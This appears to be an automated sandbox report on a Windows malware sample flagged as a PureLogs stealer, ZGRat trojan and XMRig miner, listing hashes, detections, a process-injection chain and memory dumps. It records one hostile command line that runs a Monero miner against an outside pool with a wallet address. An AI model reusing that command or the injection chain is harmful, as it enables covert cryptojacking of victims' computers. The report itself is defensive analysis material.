purelogs | 66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f

Analysis

max time kernel
172s
max time network
190s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2023 19:08

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General

Target

66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
Size

1.3MB
MD5

5a8c19f0298f074877ae3f0fdcf4e40f
SHA1

7bf4408ad28f32a1ec63840a8a2c59916e77df81
SHA256

66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f
SHA512

00ffdde9b5d270b379ff10c6524aa2a1ba4e62d9a4de8ef931d41a4b3045e8cc079905edcef5e3fe927126b365b676b7b0e75c0c6d16d29e32f6a122f2e37625
SSDEEP

24576:Og+tmm6ugk+8JujxZ2YPBzK5tUMxdEvYt2RnG:OgrjpvsuXK5BsSP

Score

10^/10

purelogs xmrig zgrat miner rat stealer

Malware Config

Signatures

Detect PureLogs payload 4 IoCs

resource	yara_rule
behavioral1/memory/3792-0-0x0000020173A80000-0x0000020173BCE000-memory.dmp	family_purelogs
behavioral1/files/0x0008000000023246-20.dat	family_purelogs
behavioral1/files/0x0008000000023246-21.dat	family_purelogs
behavioral1/files/0x0008000000023246-25.dat	family_purelogs

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/4800-10-0x000001855CBA0000-0x000001855CCA0000-memory.dmp	family_zgrat_v1

PureLogs
PureLogs is an infostealer written in C#.
stealer purelogs
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/4716-46-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-47-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-48-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-50-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-51-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-52-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-53-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-54-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-55-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-59-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-60-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig
behavioral1/memory/4716-61-0x0000000140000000-0x00000001407CF000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
4060	TypeId.exe
2544	TypeId.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3792 set thread context of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 4060 set thread context of 2544	4060	TypeId.exe	93
PID 2544 set thread context of 724	2544	TypeId.exe	94
PID 724 set thread context of 4624	724	RegSvcs.exe	95
PID 4624 set thread context of 4716	4624	RegSvcs.exe	98

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
4060	TypeId.exe
724	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe
4624	RegSvcs.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
Token: SeDebugPrivilege	4800	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
Token: SeDebugPrivilege	4060	TypeId.exe
Token: SeDebugPrivilege	2544	TypeId.exe
Token: SeDebugPrivilege	724	RegSvcs.exe
Token: SeDebugPrivilege	4624	RegSvcs.exe
Token: SeLockMemoryPrivilege	4716	AddInProcess.exe
Token: SeLockMemoryPrivilege	4716	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4716	AddInProcess.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 3792 wrote to memory of 4800	3792	66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe	89
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 4060 wrote to memory of 2544	4060	TypeId.exe	93
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 2544 wrote to memory of 724	2544	TypeId.exe	94
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 724 wrote to memory of 4624	724	RegSvcs.exe	95
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98
PID 4624 wrote to memory of 4716	4624	RegSvcs.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
"C:\Users\Admin\AppData\Local\Temp\66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Users\Admin\AppData\Local\Temp\66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
  C:\Users\Admin\AppData\Local\Temp\66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4800

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:724
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4624
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 41ro9pm28wkFbbFCnmC78AfqpdFTw3fE56kajDNhw3naU9nXJQiqSvi7Vv71yAxLG3hXtP5Jne8utHn1oHsPXo1MQBhA5D6.miners -p x --algo rx/0 --cpu-max-threads-hint=50
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f.exe.log

Filesize
1KB

MD5
84a01db52ea5a878520e162c80acfcd3

SHA1
49b7c5c072f6c32e54cc97c1dcbee90de0dd4738

SHA256
25ff806b9c85928aee814fa3aebbf45fa9735a7f594a6261f0779e89eb8c3bfe

SHA512
0516cbe6b9b7842be7f00ba3159a4df31257fc4e9db8ccb8f9f720801174f3d49327b7881c59ea12a4767c6d3e7c99a3b707c10279dfb39f12f9792134e6248e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RegSvcs.exe.log

Filesize
1KB

MD5
84a01db52ea5a878520e162c80acfcd3

SHA1
49b7c5c072f6c32e54cc97c1dcbee90de0dd4738

SHA256
25ff806b9c85928aee814fa3aebbf45fa9735a7f594a6261f0779e89eb8c3bfe

SHA512
0516cbe6b9b7842be7f00ba3159a4df31257fc4e9db8ccb8f9f720801174f3d49327b7881c59ea12a4767c6d3e7c99a3b707c10279dfb39f12f9792134e6248e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TypeId.exe.log

Filesize
1KB

MD5
84a01db52ea5a878520e162c80acfcd3

SHA1
49b7c5c072f6c32e54cc97c1dcbee90de0dd4738

SHA256
25ff806b9c85928aee814fa3aebbf45fa9735a7f594a6261f0779e89eb8c3bfe

SHA512
0516cbe6b9b7842be7f00ba3159a4df31257fc4e9db8ccb8f9f720801174f3d49327b7881c59ea12a4767c6d3e7c99a3b707c10279dfb39f12f9792134e6248e

Download Submit
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe

Filesize
1.3MB

MD5
5a8c19f0298f074877ae3f0fdcf4e40f

SHA1
7bf4408ad28f32a1ec63840a8a2c59916e77df81

SHA256
66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f

SHA512
00ffdde9b5d270b379ff10c6524aa2a1ba4e62d9a4de8ef931d41a4b3045e8cc079905edcef5e3fe927126b365b676b7b0e75c0c6d16d29e32f6a122f2e37625

Download Submit
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe

Filesize
1.3MB

MD5
5a8c19f0298f074877ae3f0fdcf4e40f

SHA1
7bf4408ad28f32a1ec63840a8a2c59916e77df81

SHA256
66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f

SHA512
00ffdde9b5d270b379ff10c6524aa2a1ba4e62d9a4de8ef931d41a4b3045e8cc079905edcef5e3fe927126b365b676b7b0e75c0c6d16d29e32f6a122f2e37625

Download Submit
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe

Filesize
1.3MB

MD5
5a8c19f0298f074877ae3f0fdcf4e40f

SHA1
7bf4408ad28f32a1ec63840a8a2c59916e77df81

SHA256
66c8e00f46e83d91c5920cf9638b03b8b9095d22ed58744f2abc9fdebc550c9f

SHA512
00ffdde9b5d270b379ff10c6524aa2a1ba4e62d9a4de8ef931d41a4b3045e8cc079905edcef5e3fe927126b365b676b7b0e75c0c6d16d29e32f6a122f2e37625

Download Submit
memory/724-43-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/724-34-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/2544-32-0x000001B04BFA0000-0x000001B04BFB0000-memory.dmp

Filesize
64KB

Download
memory/2544-35-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/2544-31-0x000001B04BFA0000-0x000001B04BFB0000-memory.dmp

Filesize
64KB

Download
memory/2544-27-0x000001B04BFA0000-0x000001B04BFB0000-memory.dmp

Filesize
64KB

Download
memory/2544-26-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/3792-11-0x00007FFF2FB60000-0x00007FFF30621000-memory.dmp

Filesize
10.8MB

Download
memory/3792-0-0x0000020173A80000-0x0000020173BCE000-memory.dmp

Filesize
1.3MB

Download
memory/3792-6-0x00000201757E0000-0x000002017582C000-memory.dmp

Filesize
304KB

Download
memory/3792-5-0x00000201762C0000-0x0000020176390000-memory.dmp

Filesize
832KB

Download
memory/3792-4-0x0000020176170000-0x0000020176240000-memory.dmp

Filesize
832KB

Download
memory/3792-3-0x00000201762B0000-0x00000201762C0000-memory.dmp

Filesize
64KB

Download
memory/3792-2-0x00007FFF2FB60000-0x00007FFF30621000-memory.dmp

Filesize
10.8MB

Download
memory/3792-1-0x00000201758A0000-0x0000020175988000-memory.dmp

Filesize
928KB

Download
memory/4060-29-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-23-0x00000187F3B60000-0x00000187F3B70000-memory.dmp

Filesize
64KB

Download
memory/4060-22-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/4624-40-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-41-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-42-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-44-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/4624-45-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-56-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-58-0x000001FEF80D0000-0x000001FEF80E0000-memory.dmp

Filesize
64KB

Download
memory/4624-39-0x00007FFF2FA30000-0x00007FFF304F1000-memory.dmp

Filesize
10.8MB

Download
memory/4716-50-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-51-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-63-0x00000262BF450000-0x00000262BF470000-memory.dmp

Filesize
128KB

Download
memory/4716-62-0x00000262BF450000-0x00000262BF470000-memory.dmp

Filesize
128KB

Download
memory/4716-61-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-60-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-46-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-47-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-48-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-49-0x00000262BD9D0000-0x00000262BD9F0000-memory.dmp

Filesize
128KB

Download
memory/4716-59-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-57-0x00000262BF410000-0x00000262BF450000-memory.dmp

Filesize
256KB

Download
memory/4716-52-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-53-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-54-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4716-55-0x0000000140000000-0x00000001407CF000-memory.dmp

Filesize
7.8MB

Download
memory/4800-10-0x000001855CBA0000-0x000001855CCA0000-memory.dmp

Filesize
1024KB

Download
memory/4800-19-0x00007FFF2FB60000-0x00007FFF30621000-memory.dmp

Filesize
10.8MB

Download
memory/4800-7-0x0000000000400000-0x00000000004B2000-memory.dmp

Filesize
712KB

Download
memory/4800-12-0x00007FFF2FB60000-0x00007FFF30621000-memory.dmp

Filesize
10.8MB

Download
memory/4800-13-0x00000185443F0000-0x0000018544400000-memory.dmp

Filesize
64KB

Download
memory/4800-14-0x0000018544470000-0x0000018544478000-memory.dmp

Filesize
32KB

Download
memory/4800-15-0x000001855CDA0000-0x000001855CDF6000-memory.dmp

Filesize
344KB

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memory/4800-16-0x000001855D6B0000-0x000001855D704000-memory.dmp

Filesize
336KB

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